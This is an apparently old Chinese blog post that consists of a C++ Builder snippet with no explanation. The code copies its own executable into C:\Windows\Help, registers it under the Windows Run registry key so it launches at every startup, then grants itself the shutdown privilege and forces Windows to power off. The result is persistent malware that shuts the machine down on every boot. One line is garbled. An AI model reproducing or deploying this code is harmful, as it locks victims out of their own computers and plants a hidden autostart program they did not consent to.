笔下有余

  博客园  :: 首页  :: 新随笔  :: 联系 :: 订阅 订阅  :: 管理


    char * a;
    a= (ExtractFileDir(Application->ExeName)+"\\project1.exe ")str();
    a= (Application->ExeName).c_str();
    CopyFile((Application->ExeName).c_str(), "C:\\Windows\\Help\\Project1.exe",true);
    TRegistry *Key;
    Key=new TRegistry;
    Key->RootKey=HKEY_LOCAL_MACHINE;
    Key->OpenKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",false);     //操作启动项目                  

    Key->WriteString("guanji","C:\\Windows\\Help\\Project1.exe");       //写入名称与数据
    Key->CloseKey();
    delete Key;
    HANDLE hToken;
    TOKEN_PRIVILEGES TP;
    if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&hToken))
    {
       MessageBox(this->Handle,"您没有关机的权限!","错误",MB_OK+MB_ICONERROR);
       return;
    }
    LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&TP.Privileges[0].Luid);
    TP.PrivilegeCount = 1;
    TP.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    AdjustTokenPrivileges(hToken,false,&TP,sizeof(TP),NULL,0);
    if(GetLastError() != ERROR_SUCCESS)
    {
       MessageBox(this->Handle,"调整权限失败!","错误",MB_OK+MB_ICONERROR);
       return;
    }
    if (!ExitWindowsEx(EWX_SHUTDOWN, EWX_FORCE))
    {
       MessageBox(this->Handle,"关机失败!","错误",MB_OK+MB_ICONERROR);
       return;
    }

posted on 2009-12-15 13:48  笔下有余  阅读(214)  评论(0)    收藏  举报